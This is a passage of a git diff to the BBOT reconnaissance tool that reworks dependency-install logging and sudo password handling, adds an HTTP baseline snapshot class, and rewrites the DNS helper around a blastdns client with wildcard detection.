--- a/bbot/core/helpers/depsinstaller/installer.py
+++ b/bbot/core/helpers/depsinstaller/installer.py
@@ -202,7 +202,7 @@ async def install(self, *modules):
                             log.debug(f'Setup succeeded for module "{m}"')
                             succeeded.append(m)
                         else:
-                            log.warning(f'Setup failed for module "{m}"')
+                            log.error(f'Setup failed for module "{m}"')
                             failed.append(m)
                     else:
                         if success or self.deps_behavior == "ignore_failed":
@@ -211,7 +211,7 @@ async def install(self, *modules):
                             )
                             succeeded.append(m)
                         else:
-                            log.warning(
+                            log.error(
                                 f'Skipping dependency install for module "{m}" because it failed previously (--retry-deps to retry or --ignore-failed-deps to ignore)'
                             )
                             failed.append(m)
@@ -288,7 +288,7 @@ async def pip_install(self, packages, constraints=None):
             log.info(message)
             return True
         except CalledProcessError as err:
-            log.warning(f"Failed to install pip packages {packages_str} (return code {err.returncode}): {err.stderr}")
+            log.error(f"Failed to install pip packages {packages_str} (return code {err.returncode}): {err.stderr}")
         return False
 
     def apt_install(self, packages):
@@ -300,11 +300,9 @@ def apt_install(self, packages):
         if success:
             log.info(f'Successfully installed OS packages "{",".join(sorted(packages))}"')
         else:
-            log.warning(
-                f"Failed to install OS packages ({err}). Recommend installing the following packages manually:"
-            )
+            log.error(f"Failed to install OS packages ({err}). Recommend installing the following packages manually:")
             for p in packages:
-                log.warning(f" - {p}")
+                log.error(f" - {p}")
         return success
 
     def _make_apt_ansible_args(self, packages):
@@ -341,7 +339,7 @@ def shell(self, module, commands):
         if success:
             log.info(f"Successfully ran {len(commands):,} shell commands")
         else:
-            log.warning("Failed to run shell dependencies")
+            log.error("Failed to run shell dependencies")
         return success
 
     def tasks(self, module, tasks):
@@ -350,7 +348,7 @@ def tasks(self, module, tasks):
         if success:
             log.info(f"Successfully ran {len(tasks):,} Ansible tasks for {module}")
         else:
-            log.warning(f"Failed to run Ansible tasks for {module}")
+            log.error(f"Failed to run Ansible tasks for {module}")
         return success
 
     def ansible_run(self, tasks=None, module=None, args=None, ansible_args=None):
@@ -426,8 +424,10 @@ def ensure_root(self, message=""):
         with self.ensure_root_lock:
             # first check if the environment variable is set
             _sudo_password = os.environ.get("BBOT_SUDO_PASS", None)
-            if _sudo_password is not None or os.geteuid() == 0 or can_sudo_without_password():
-                # if we're already root or we can sudo without a password, there's no need to prompt
+            if _sudo_password is not None:
+                self._sudo_password = _sudo_password
+                return
+            if os.geteuid() == 0 or can_sudo_without_password():
                 return
 
             if message:
@@ -435,13 +435,34 @@ def ensure_root(self, message=""):
             while not self._sudo_password:
                 # sleep for a split second to flush previous log messages
                 sleep(0.1)
-                _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ")
+                try:
+                    _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ")
+                except OSError:
+                    log.error("Unable to read sudo password (no TTY). Set BBOT_SUDO_PASS env var.")
+                    return
                 if self.parent_helper.verify_sudo_password(_sudo_password):
                     log.success("Authentication successful")
                     self._sudo_password = _sudo_password
                 else:
                     log.warning("Incorrect password")
 
+    def _core_dep_satisfied(self, command):
+        """Check if a core dependency is satisfied.
+
+        For normal binary deps, check if the command exists on PATH.
+        For special entries like openssl_dev_headers, use a custom check.
+        """
+        if command == "openssl_dev_headers":
+            # check for openssl headers by looking for the pkg-config file or header
+            return any(
+                Path(p).exists()
+                for p in [
+                    "/usr/include/openssl/ssl.h",
+                    "/usr/local/include/openssl/ssl.h",
+                ]
+            ) or bool(self.parent_helper.which("openssl"))
+        return bool(self.parent_helper.which(command))
+
     async def install_core_deps(self):
         # skip if we've already successfully installed core deps for this definition
         core_deps_hash = str(mmh3.hash(orjson.dumps(self.CORE_DEPS, option=orjson.OPT_SORT_KEYS)))
@@ -453,18 +474,25 @@ async def install_core_deps(self):
         to_install = set()
         to_install_friendly = set()
         playbook = []
-        self._install_sudo_askpass()
-        # ensure tldextract data is cached
-        self.parent_helper.tldextract("evilcorp.co.uk")
-        # install any missing commands
+        # check which commands are missing
         for command, package_name_or_playbook in self.CORE_DEPS.items():
-            if not self.parent_helper.which(command):
-                to_install_friendly.add(command)
-                if isinstance(package_name_or_playbook, str):
-                    to_install.add(package_name_or_playbook)
-                else:
-                    playbook.extend(package_name_or_playbook)
-        # install ansible community.general collection
+            if self._core_dep_satisfied(command):
+                continue
+            to_install_friendly.add(command)
+            if isinstance(package_name_or_playbook, str):
+                to_install.add(package_name_or_playbook)
+            else:
+                playbook.extend(package_name_or_playbook)
+        # construct ansible playbook
+        if to_install:
+            playbook.append(
+                {
+                    "name": "Install Core BBOT Dependencies",
+                    "package": {"name": list(to_install), "state": "present"},
+                    "become": True,
+                }
+            )
+        # install ansible community.general collection if needed
         overall_success = True
         if not self.setup_status.get("ansible:community.general", False):
             log.info("Installing Ansible Community General Collection")
@@ -478,17 +506,12 @@ async def install_core_deps(self):
                     f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}"
                 )
                 overall_success = False
-        # construct ansible playbook
-        if to_install:
-            playbook.append(
-                {
-                    "name": "Install Core BBOT Dependencies",
-                    "package": {"name": list(to_install), "state": "present"},
-                    "become": True,
-                }
-            )
-        # run playbook
+        # only run ansible if there's actually something to install
         if playbook:
+            self._install_sudo_askpass()
+            # ensure tldextract data is cached
+            self.parent_helper.tldextract("evilcorp.co.uk")
+            # run playbook
             log.info(f"Installing core BBOT dependencies: {','.join(sorted(to_install_friendly))}")
             self.ensure_root()
             success, _ = self.ansible_run(tasks=playbook)
diff --git a/bbot/core/helpers/depsinstaller/sudo_askpass.py b/bbot/core/helpers/depsinstaller/sudo_askpass.py
index ccd8cd01b6..69454bb631 100644
--- a/bbot/core/helpers/depsinstaller/sudo_askpass.py
+++ b/bbot/core/helpers/depsinstaller/sudo_askpass.py
@@ -33,7 +33,7 @@ def main():
         decrypted_password = decrypt_password(encrypted_password, key)
         print(decrypted_password, end="")
     except Exception as e:
-        print(f'Error decrypting password "{encrypted_password}": {str(e)}', file=sys.stderr)
+        print(f"Error decrypting sudo password: {str(e)}", file=sys.stderr)
         sys.exit(1)
 
 
diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py
index 64c1b1e6a5..126f122e68 100644
--- a/bbot/core/helpers/diff.py
+++ b/bbot/core/helpers/diff.py
@@ -8,6 +8,67 @@
 log = logging.getLogger("bbot.core.helpers.diff")
 
 
+class _BaselineSnapshot:
+    """Lightweight stand-in for a blasthttp Response held by HttpCompare.
+
+    Stores only the fields external code accesses (status_code, headers,
+    text, content) and optionally spills the body to the scan's
+    BodySpillStore so the raw bytes don't pin Python heap memory for the
+    lifetime of the HttpCompare instance.
+
+    The blasthttp Headers object is kept by reference (it survives
+    Response GC independently) to preserve case-insensitive lookups and
+    duplicate-header semantics that DeepDiff relies on.
+    """
+
+    __slots__ = ("status_code", "headers", "_text", "_spill_key", "_spill_store")
+
+    def __init__(self, response, spill_store=None):
+        self.status_code = response.status_code
+        self.headers = response.headers
+        if spill_store is not None:
+            body_bytes = response.body_bytes or b""
+            self._spill_key = f"baseline-{id(self):x}"
+            spill_store.write(self._spill_key, body_bytes)
+            self._spill_store = spill_store
+            self._text = None
+        else:
+            self._text = response.text
+            self._spill_key = None
+            self._spill_store = None
+
+    @property
+    def text(self):
+        if self._text is not None:
+            return self._text
+        if self._spill_store is not None:
+            body = self._spill_store.read(self._spill_key)
+            if body is not None:
+                return body.decode("utf-8", errors="replace")
+        return ""
+
+    @property
+    def content(self):
+        if self._spill_store is not None:
+            return self._spill_store.read(self._spill_key) or b""
+        if self._text is not None:
+            return self._text.encode("utf-8", errors="replace")
+        return b""
+
+    def _cleanup(self):
+        if self._spill_store is not None and self._spill_key is not None:
+            self._spill_store.evict_and_delete(self._spill_key)
+            self._spill_key = None
+
+    def __del__(self):
+        # Reclaim the spilled body when the snapshot is GC'd (HttpCompare
+        # instances are mostly short-lived locals, so this fires promptly).
+        try:
+            self._cleanup()
+        except Exception:
+            pass
+
+
 class HttpCompare:
     def __init__(
         self,
@@ -21,9 +82,14 @@ def __init__(
         headers=None,
         cookies=None,
         timeout=10,
+        on_baseline_ready=None,
+        baseline_url_2=None,
     ):
         self.parent_helper = parent_helper
         self.baseline_url = baseline_url
+        # When set, the second baseline sample uses this URL instead of self.baseline_url,
+        # so the auto-filter captures inter-URL variation (used by wildcard detection).
+        self.baseline_url_2 = baseline_url_2
         self.include_cache_buster = include_cache_buster
         self.method = method
         self.data = data
@@ -33,6 +99,8 @@ def __init__(
         self.headers = headers
         self.cookies = cookies
         self.timeout = 10
+        # Optional async callback fired once with baseline_1 after the baseline is established.
+        self.on_baseline_ready = on_baseline_ready
 
     @staticmethod
     def merge_dictionaries(headers1, headers2):
@@ -67,7 +135,8 @@ async def _baseline(self):
 
             if self.include_cache_buster:
                 get_params.update(self.gen_cache_buster())
-            url_2 = self.parent_helper.add_get_params(self.baseline_url, get_params).geturl()
+            second_target = self.baseline_url_2 if self.baseline_url_2 else self.baseline_url
+            url_2 = self.parent_helper.add_get_params(second_target, get_params).geturl()
             baseline_2 = await self.parent_helper.request(
                 url_2,
                 headers=self.merge_dictionaries(
@@ -84,11 +153,12 @@ async def _baseline(self):
                 timeout=self.timeout,
             )
 
-            self.baseline = baseline_1
             if baseline_1 is None or baseline_2 is None:
                 log.debug("HTTP error while establishing baseline, aborting")
+                baseline_1_repr = f"HTTP {baseline_1.status_code}" if baseline_1 is not None else "None"
+                baseline_2_repr = f"HTTP {baseline_2.status_code}" if baseline_2 is not None else "None"
                 raise HttpCompareError(
-                    f"Can't get baseline from source URL: {url_1}:{baseline_1} / {url_2}:{baseline_2}"
+                    f"Can't get baseline from source URL: {url_1} ({baseline_1_repr}) / {url_2} ({baseline_2_repr})"
                 )
             if baseline_1.status_code != baseline_2.status_code:
                 log.debug("Status code not stable during baseline, aborting")
@@ -98,7 +168,6 @@ async def _baseline(self):
                 baseline_1_json = xmltodict.parse(baseline_1.text)
                 baseline_2_json = xmltodict.parse(baseline_2.text)
             except ExpatError:
-                log.debug(f"Can't HTML parse for {self.baseline_url}. Switching to text parsing as a backup")
                 baseline_1_json = baseline_1.text.split("\n")
                 baseline_2_json = baseline_2.text.split("\n")
 
@@ -118,6 +187,7 @@ async def _baseline(self):
                     "date",
                     "last-modified",
                     "content-length",
+                    "connection",
                     "ETag",
                     "X-Pad",
                     "X-Backside-Transport",
@@ -129,6 +199,19 @@ async def _baseline(self):
             self.baseline_ignore_headers += [x.lower() for x in dynamic_headers]
             self._baselined = True
 
+            if self.on_baseline_ready is not None:
+                try:
+                    await self.on_baseline_ready(baseline_1)
+                except Exception as e:
+                    log.debug(f"on_baseline_ready callback raised: {e}")
+
+            # Replace the heavy blasthttp Response with a lightweight
+            # snapshot. If the scan has a body_spill_store the body bytes
+            # are written to disk and served from the LRU cache on demand.
+            scan = getattr(self.parent_helper, "scan", None)
+            store = getattr(scan, "body_spill_store", None)
+            self.baseline = _BaselineSnapshot(baseline_1, spill_store=store)
+
     def gen_cache_buster(self):
         return {self.parent_helper.rand_string(6): "1"}
 
@@ -139,7 +222,6 @@ def compare_headers(self, headers_1, headers_2):
             for header, value in list(headers.items()):
                 if header.lower() in self.baseline_ignore_headers:
                     with suppress(KeyError):
-                        log.debug(f'found ignored header "{header}" in headers_{i + 1} and removed')
                         del headers[header]
 
         ddiff = DeepDiff(headers_1, headers_2, ignore_order=True, view="tree", threshold_to_diff_deeper=0)
@@ -148,7 +230,7 @@ def compare_headers(self, headers_1, headers_2):
             for x in list(ddiff[k]):
                 try:
                     header_value = str(x).split("'")[1]
-                except KeyError:
+                except (KeyError, IndexError):
                     continue
                 differing_headers.append(header_value)
         return differing_headers
@@ -233,35 +315,37 @@ async def compare(
                         if item in subject_response.text:
                             reflection = True
                             break
+        diff_reasons = await self.parent_helper.run_in_executor_cpu(
+            self._compare_sync,
+            subject_response,
+            subject,
+        )
+
+        if not diff_reasons:
+            return (True, [], reflection, subject_response)
+        else:
+            return (False, diff_reasons, reflection, subject_response)
+
+    def _compare_sync(self, subject_response, subject):
+        """CPU-bound comparison work offloaded from the event loop."""
         try:
             subject_json = xmltodict.parse(subject_response.text)
-
         except ExpatError:
-            log.debug(f"Can't HTML parse for {subject.split('?')[0]}. Switching to text parsing as a backup")
             subject_json = subject_response.text.split("\n")
 
         diff_reasons = []
 
         if self.baseline.status_code != subject_response.status_code:
-            log.debug(
-                f"status code was different [{str(self.baseline.status_code)}] -> [{str(subject_response.status_code)}], no match"
-            )
             diff_reasons.append("code")
 
         different_headers = self.compare_headers(self.baseline.headers, subject_response.headers)
         if different_headers:
-            log.debug("headers were different, no match")
             diff_reasons.append("header")
 
         if self.compare_body(self.baseline_json, subject_json) is False:
-            log.debug("difference in HTML body, no match")
-
             diff_reasons.append("body")
 
-        if not diff_reasons:
-            return (True, [], reflection, subject_response)
-        else:
-            return (False, diff_reasons, reflection, subject_response)
+        return diff_reasons
 
     async def canary_check(self, url, mode, rounds=3):
         """
diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py
index 71424c5a87..d243073a18 100644
--- a/bbot/core/helpers/dns/brute.py
+++ b/bbot/core/helpers/dns/brute.py
@@ -49,7 +49,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None):
 
         wildcard_domains = await self.parent_helper.dns.is_wildcard_domain(domain, (type, "CNAME"))
         wildcard_rdtypes = set()
-        for domain, rdtypes in wildcard_domains.items():
+        for wildcard_domain, rdtypes in wildcard_domains.items():
             wildcard_rdtypes.update(rdtypes)
         if wildcard_domains:
             self.log.hugewarning(
@@ -57,8 +57,8 @@ async def dnsbrute(self, module, domain, subdomains, type=None):
             )
             return []
 
-        canaries = self.gen_random_subdomains(self.num_canaries)
-        canaries_list = list(canaries)
+        canaries_list = list(self.gen_random_subdomains(self.num_canaries))
+        canary_set = set(canaries_list)
         canaries_pre = canaries_list[: int(self.num_canaries / 2)]
         canaries_post = canaries_list[int(self.num_canaries / 2) :]
         # sandwich subdomains between canaries
@@ -67,8 +67,8 @@ async def dnsbrute(self, module, domain, subdomains, type=None):
         results = []
         canaries_triggered = []
         async for hostname, ip, rdtype in self._massdns(module, domain, subdomains, rdtype=type):
-            sub = hostname.split(domain)[0]
-            if sub in canaries:
+            sub = hostname.split(domain)[0].rstrip(".")
+            if sub in canary_set:
                 canaries_triggered.append(sub)
             else:
                 results.append(hostname)
diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py
index f064edad3b..c9b59e6cc3 100644
--- a/bbot/core/helpers/dns/dns.py
+++ b/bbot/core/helpers/dns/dns.py
@@ -1,199 +1,469 @@
-import dns
+import asyncio
 import logging
-import dns.exception
-import dns.asyncresolver
-from cachetools import LFUCache
+import time
+from contextlib import suppress
+
+from cachetools import LFUCache, LRUCache
 from radixtarget import RadixTarget
 
-from bbot.errors import DNSError
-from bbot.core.engine import EngineClient
-from bbot.core.helpers.async_helpers import async_cachedmethod
-from ..misc import clean_dns_record, is_ip, is_domain, is_dns_name
+from blastdns import Client, ClientConfig, DNSError, DNSResult, MockClient, get_system_resolvers
+from blastdns.exceptions import BlastDNSError
 
-from .engine import DNSEngine
+from bbot.core.helpers.async_helpers import NamedLock, async_cachedmethod
+from .helpers import all_rdtypes, extract_targets, record_to_text
+from ..misc import clean_dns_record, domain_parents, is_dns_name, is_domain, is_ip, parent_domain, rand_string
 
 log = logging.getLogger("bbot.core.helpers.dns")
 
 
-class DNSHelper(EngineClient):
-    SERVER_CLASS = DNSEngine
-    ERROR_CLASS = DNSError
-
+class DNSHelper:
     """Helper class for DNS-related operations within BBOT.
 
-    This class provides mechanisms for host resolution, wildcard domain detection, event tagging, and more.
-    It centralizes all DNS-related activities in BBOT, offering both synchronous and asynchronous methods
-    for DNS resolution, as well as various utilities for batch resolution and DNS query filtering.
+    Wraps the blastdns ``Client`` (a Rust-backed async DNS engine) and adds the
+    BBOT-specific concerns that live above raw resolution: wildcard detection,
+    per-zone error tracking, connectivity checks, and ``dns_omit_queries``
+    filtering.
 
     Attributes:
         parent_helper: A reference to the instantiated `ConfigAwareHelper` (typically `scan.helpers`).
-        resolver (BBOTAsyncResolver): An asynchronous DNS resolver tailored for BBOT with rate-limiting capabilities.
-        timeout (int): The timeout value for DNS queries. Defaults to 5 seconds.
-        retries (int): The number of retries for failed DNS queries. Defaults to 1.
-        abort_threshold (int): The threshold for aborting after consecutive failed queries. Defaults to 50.
-        runaway_limit (int): Maximum allowed distance for consecutive DNS resolutions. Defaults to 5.
-        all_rdtypes (list): A list of DNS record types to be considered during operations.
-        wildcard_ignore (tuple): Domains to be ignored during wildcard detection.
-        wildcard_tests (int): Number of tests to be run for wildcard detection. Defaults to 5.
-        _wildcard_cache (dict): Cache for wildcard detection results.
-        _dns_cache (LRUCache): Cache for DNS resolution results, limited in size.
-        resolver_file (Path): File containing system's current resolver nameservers.
-
-    Args:
-        parent_helper: The parent helper object with configuration details and utilities.
-
-    Raises:
-        DNSError: If an issue arises when creating the BBOTAsyncResolver instance.
-
-    Examples:
-        >>> dns_helper = DNSHelper(parent_config)
-        >>> resolved_host = dns_helper.resolver.resolve("example.com")
+        blastdns (blastdns.Client): The underlying Rust DNS client.
+        timeout (int): Per-query timeout in seconds. Defaults to 5.
+        retries (int): Number of retries for failed DNS queries. Defaults to 5.
+        abort_threshold (int): Consecutive failed queries per parent before aborting. Defaults to 50.
+        wildcard_ignore (RadixTarget): Domains to skip during wildcard detection.
+        wildcard_tests (int): Random subdomains generated per wildcard check. Defaults to 5.
+        resolver_file (Path): File containing the system's resolver IPs (for tools that need it).
     """
 
     def __init__(self, parent_helper):
+        self.log = log
         self.parent_helper = parent_helper
         self.config = self.parent_helper.config
         self.dns_config = self.config.get("dns", {})
-        engine_debug = self.config.get("engine", {}).get("debug", False)
-        super().__init__(server_kwargs={"config": self.config}, debug=engine_debug)
 
-        # resolver
+        # config
         self.timeout = self.dns_config.get("timeout", 5)
-        self.resolver = dns.asyncresolver.Resolver()
-        self.resolver.rotate = True
-        self.resolver.timeout = self.timeout
-        self.resolver.lifetime = self.timeout
-
+        self.retries = self.dns_config.get("retries", 5)
+        self.threads = self.dns_config.get("threads", 5)
+        self.cache_size = self.dns_config.get("cache_size", 10000)
+        self.abort_threshold = self.dns_config.get("abort_threshold", 50)
+        # how many consecutive DNS resolution hops we allow before tagging an event as runaway
         self.runaway_limit = self.dns_config.get("runaway_limit", 5)
 
+        # blastdns client
+        self.system_resolvers = get_system_resolvers()
+        self.log.debug(
+            f"Starting BlastDNS client with {self.threads} threads per resolver, "
+            f"{self.retries} retries, {self.cache_size} cache size, "
+            f"and {self.timeout} second timeout"
+        )
+        self.blastdns = Client(
+            self.system_resolvers,
+            ClientConfig(
+                request_timeout_ms=self.timeout * 1000,
+                max_retries=self.retries,
+                threads_per_resolver=self.threads,
+                cache_capacity=self.cache_size,
+            ),
+        )
+
+        # parse dns.omit_queries (e.g. "A:internal.bad.com") into {rdtype: {host, ...}}
+        self.dns_omit_queries = {}
+        for entry in self.dns_config.get("omit_queries", None) or []:
+            parts = entry.split(":")
+            if len(parts) == 2:
+                rdtype, host = parts
+                self.dns_omit_queries.setdefault(rdtype.upper(), set()).add(host.lower())
+
         # wildcard handling
         self.wildcard_disable = self.dns_config.get("wildcard_disable", False)
+        self.wildcard_tests = self.dns_config.get("wildcard_tests", 5)
         self.wildcard_ignore = RadixTarget()
         for d in self.dns_config.get("wildcard_ignore", []):
             self.wildcard_ignore.insert(d)
+        self._wildcard_cache = LRUCache(maxsize=10000)
+        self._wildcard_lock = NamedLock()
+
+        # error tracking + connectivity
+        self._errors = LRUCache(maxsize=10000)
+        self._dns_warnings = LRUCache(maxsize=10000)
+        self._dns_connectivity_lock = None
+        self._last_dns_success = None
+        self._last_connectivity_warning = time.time()
 
         # copy the system's current resolvers to a text file for tool use
-        self.system_resolvers = dns.resolver.Resolver().nameservers
-        # TODO: DNS server speed test (start in background task)
         self.resolver_file = self.parent_helper.tempfile(self.system_resolvers, pipe=False)
 
         # brute force helper
         self._brute = None
 
+        # method-level dedup caches for is_wildcard / is_wildcard_domain
         self._is_wildcard_cache = LFUCache(maxsize=1000)
         self._is_wildcard_domain_cache = LFUCache(maxsize=1000)
 
-    async def resolve(self, query, **kwargs):
-        return await self.run_and_return("resolve", query=query, **kwargs)
+    # ------------------------------------------------------------------
+    # Resolution -- thin pass-throughs to blastdns. Anything more complex
+    # belongs in a caller that knows the exact shape it wants.
+    # ------------------------------------------------------------------
 
-    async def resolve_raw(self, query, **kwargs):
-        return await self.run_and_return("resolve_raw", query=query, **kwargs)
+    async def resolve(self, query, rdtype="A"):
+        """Resolve to a set of rdata strings (e.g. IPs).
 
-    async def resolve_batch(self, queries, **kwargs):
-        agen = self.run_and_yield("resolve_batch", queries=queries, **kwargs)
-        while 1:
-            try:
-                yield await agen.__anext__()
-            except (StopAsyncIteration, GeneratorExit):
-                await agen.aclose()
-                break
+        Returns an empty set on DNS failure (timeout, SERVFAIL, etc).
+        """
+        try:
+            return set(await self.blastdns.resolve(query, rdtype))
+        except BlastDNSError as e:
+            self.log.debug(f"DNS error resolving {query}/{rdtype}: {e}")
+            return set()
 
-    async def resolve_raw_batch(self, queries):
-        agen = self.run_and_yield("resolve_raw_batch", queries=queries)
-        while 1:
-            try:
-                yield await agen.__anext__()
-            except (StopAsyncIteration, GeneratorExit):
-                await agen.aclose()
-                break
+    async def resolve_full(self, query, rdtype="A"):
+        """Return blastdns ``DNSResult`` (full response with Record objects).
 
-    @property
-    def brute(self):
-        if self._brute is None:
-            from .brute import DNSBrute
+        Returns an empty-answer DNSResult on DNS failure so callers can
+        unconditionally iterate ``.response.answers`` without try/except.
+        """
+        try:
+            return await self.blastdns.resolve_full(query, rdtype)
+        except BlastDNSError as e:
+            self.log.debug(f"DNS error resolving {query}/{rdtype}: {e}")
+            return self._empty_result(query)
+
+    async def resolve_multi_full(self, query, rdtypes):
+        """Resolve many rdtypes for one host concurrently in Rust.
+
+        Skips rdtypes listed in ``dns_omit_queries`` and rdtypes whose parent
+        zone has exceeded ``abort_threshold`` consecutive errors.
+        Returns ``dict[rdtype, DNSResult | DNSError]``.
+        """
+        rdtypes = [r for r in rdtypes if not self._is_omitted(query, r)]
+        filtered = []
+        for r in rdtypes:
+            if not await self._is_aborted(query, r):
+                filtered.append(r)
+        rdtypes = filtered
+        if not rdtypes:
+            return {}
+        results = await self.blastdns.resolve_multi_full(query, rdtypes)
+        # Track per-zone errors so we can circuit-break dead zones
+        for rdtype, response in results.items():
+            if isinstance(response, DNSError):
+                self.record_dns_error(query, rdtype)
+            elif isinstance(response, DNSResult) and response.response.answers:
+                self.reset_dns_errors(query, rdtype)
+        return results
+
+    async def resolve_batch_full(self, hosts, rdtype="A", skip_empty=False, skip_errors=False):
+        """Resolve many hosts for one rdtype concurrently in Rust.
+
+        Yields ``(host, DNSResult | DNSError)``.
+        """
+        async for host, result in self.blastdns.resolve_batch_full(
+            hosts, rdtype, skip_empty=skip_empty, skip_errors=skip_errors
+        ):
+            yield host, result
+
+    def _is_omitted(self, query, rdtype):
+        omit_hosts = self.dns_omit_queries.get(rdtype.upper())
+        if not omit_hosts:
+            return False
+        q = str(query).lower()
+        return any(q == h or q.endswith(f".{h}") for h in omit_hosts)
 
-            self._brute = DNSBrute(self.parent_helper)
-        return self._brute
+    # ------------------------------------------------------------------
+    # Wildcard detection
+    # ------------------------------------------------------------------
 
     @async_cachedmethod(
         lambda self: self._is_wildcard_cache,
-        key=lambda query, rdtypes, raw_dns_records: (query, tuple(sorted(rdtypes)), bool(raw_dns_records)),
+        key=lambda query, rdtypes, raw_dns_records=None: (query, tuple(sorted(rdtypes)), bool(raw_dns_records)),
     )
     async def is_wildcard(self, query, rdtypes, raw_dns_records=None):
         """
-        Use this method to check whether a *host* is a wildcard entry
-
-        This can reliably tell the difference between a valid DNS record and a wildcard within a wildcard domain.
-
-        If you want to know whether a domain is using wildcard DNS, use `is_wildcard_domain()` instead.
+        Check whether ``query`` is a wildcard hit within a wildcard domain.
 
         Args:
-            query (str): The hostname to check for a wildcard entry.
-            ips (list, optional): List of IPs to compare against, typically obtained from a previous DNS resolution of the query.
-            rdtype (str, optional): The DNS record type (e.g., "A", "AAAA") to consider during the check.
+            query (str): The hostname to check.
+            rdtypes (list): DNS record types to consider.
+            raw_dns_records (dict, optional): ``{rdtype: [Record, ...]}`` already
+                resolved for this query. If omitted, the records are fetched.
 
         Returns:
-            dict: A dictionary indicating if the query is a wildcard for each checked DNS record type.
-                Keys are DNS record types like "A", "AAAA", etc.
-                Values are tuples where the first element is a boolean indicating if the query is a wildcard,
-                and the second element is the wildcard parent if it's a wildcard.
-
-        Raises:
-            ValueError: If only one of `ips` or `rdtype` is specified or if no valid IPs are specified.
-
-        Examples:
-            >>> is_wildcard("www.github.io")
-            {"A": (True, "github.io"), "AAAA": (True, "github.io")}
-
-            >>> is_wildcard("www.evilcorp.com", ips=["93.184.216.34"], rdtype="A")
-            {"A": (False, "evilcorp.com")}
-
-        Note:
-            `is_wildcard` can be True, False, or None (indicating that wildcard detection was inconclusive)
+            dict: ``{rdtype: (is_wildcard, parent)}`` for each rdtype that resolved.
+                ``is_wildcard`` may be ``True``, ``False``, ``None``, ``"POSSIBLE"``, or ``"ERROR"``.
         """
         query = self._wildcard_prevalidation(query)
         if not query:
             return {}
 
-        # skip check if the query is a domain
+        # skip check if the query is itself a domain
         if is_domain(query):
             return {}
 
-        return await self.run_and_return("is_wildcard", query=query, rdtypes=rdtypes, raw_dns_records=raw_dns_records)
+        if isinstance(rdtypes, str):
+            rdtypes = [rdtypes]
+
+        result = {}
+
+        # if the work of resolving hasn't been done yet, do it
+        if raw_dns_records is None:
+            raw_dns_records = {}
+            multi = await self.resolve_multi_full(query, list(rdtypes))
+            for rdtype, response in multi.items():
+                if isinstance(response, DNSResult) and response.response.answers:
+                    raw_dns_records[rdtype] = response.response.answers
+                elif isinstance(response, DNSError):
+                    self.log.debug(f"Failed to resolve {query} ({rdtype}) during wildcard detection: {response.error}")
+                    result[rdtype] = ("ERROR", query)
+
+        # build the baseline (the IPs/hosts we actually got back for this query)
+        baseline = {}
+        baseline_raw = {}
+        for rdtype, answers in raw_dns_records.items():
+            for answer in answers:
+                text_answer = record_to_text(answer)
+                baseline_raw.setdefault(rdtype, set()).add(text_answer)
+                for _, host in extract_targets(answer):
+                    baseline.setdefault(rdtype, set()).add(host)
+
+        if not raw_dns_records:
+            return result
+
+        rdtypes_to_check = set(raw_dns_records)
+
+        # walk parent domains shortest-first, comparing baseline against any wildcard pool
+        parents = list(domain_parents(query))
+        for parent in parents[::-1]:
+            wildcard_results = await self.is_wildcard_domain(parent, rdtypes_to_check)
+
+            for rdtype in list(baseline_raw):
+                if rdtype in result:
+                    continue
+
+                _baseline = baseline.get(rdtype, set())
+                _baseline_raw = baseline_raw.get(rdtype, set())
+
+                wildcard_rdtypes = wildcard_results.get(parent, {})
+                wildcards = wildcard_rdtypes.get(rdtype)
+                if wildcards is None:
+                    continue
+                wildcards, wildcard_raw = wildcards
+
+                if wildcard_raw:
+                    rdtypes_to_check.discard(rdtype)
+                    is_wc = any(r in wildcards for r in _baseline)
+                    is_wc_raw = any(r in wildcard_raw for r in _baseline_raw)
+                    if is_wc or is_wc_raw:
+                        result[rdtype] = (True, parent)
+                    else:
+                        result[rdtype] = ("POSSIBLE", parent)
+
+        for rdtype, answers in baseline_raw.items():
+            if answers and rdtype not in result:
+                result[rdtype] = (False, query)
+
+        return result
 
     @async_cachedmethod(
-        lambda self: self._is_wildcard_domain_cache, key=lambda domain, rdtypes: (domain, tuple(sorted(rdtypes)))
+        lambda self: self._is_wildcard_domain_cache,
+        key=lambda domain, rdtypes: (domain, tuple(sorted(rdtypes))),
     )
     async def is_wildcard_domain(self, domain, rdtypes):
+        """For each parent of ``domain``, return the wildcard pool per rdtype.
+
+        Returns ``{parent: {rdtype: (hosts_set, raw_text_set)}}``.
+        """
         domain = self._wildcard_prevalidation(domain)
         if not domain:
             return {}
 
-        return await self.run_and_return("is_wildcard_domain", domain=domain, rdtypes=rdtypes)
+        if isinstance(rdtypes, str):
+            rdtypes = [rdtypes]
+        rdtypes = set(rdtypes)
+
+        wildcard_results = {}
+        # walk parents from shortest (root) to longest, narrowing rdtypes as we find wildcards
+        for host in list(domain_parents(domain, include_self=True))[::-1]:
+            host_results = {}
+            # check each rdtype concurrently for this parent
+            tasks = [self._is_wildcard_zone(host, rdtype) for rdtype in list(rdtypes)]
+            if not tasks:
+                break
+            for rdtype, (results, results_raw) in zip(list(rdtypes), await asyncio.gather(*tasks)):
+                if results_raw:
+                    rdtypes.discard(rdtype)
+                    host_results[rdtype] = (results, results_raw)
+            if host_results:
+                wildcard_results[host] = host_results
+
+        return wildcard_results
+
+    async def _is_wildcard_zone(self, host, rdtype):
+        """Test one (host, rdtype) for wildcard configuration. Cached per-pair."""
+        rdtype = rdtype.upper()
+        host_hash = hash((host, rdtype))
+
+        async with self._wildcard_lock.lock(host_hash):
+            try:
+                cached = self._wildcard_cache[host_hash]
+                self.log.debug(f"Got {host}:{rdtype} from wildcard cache")
+                return cached
+            except KeyError:
+                pass
+
+            self.log.debug(f"Checking if {host}:{rdtype} is a wildcard")
+            results = set()
+            results_raw = set()
+
+            rand_hosts = [f"{rand_string(digits=False, length=10)}.{host}" for _ in range(self.wildcard_tests)]
+            async for _, response in self.resolve_batch_full(rand_hosts, rdtype):
+                if not isinstance(response, DNSResult):
+                    continue
+                for answer in response.response.answers:
+                    results_raw.add(record_to_text(answer))
+                    for _, t in extract_targets(answer):
+                        results.add(t)
+
+            if results:
+                self.log.info(f"Encountered domain with wildcard DNS ({rdtype}): *.{host}")
+            else:
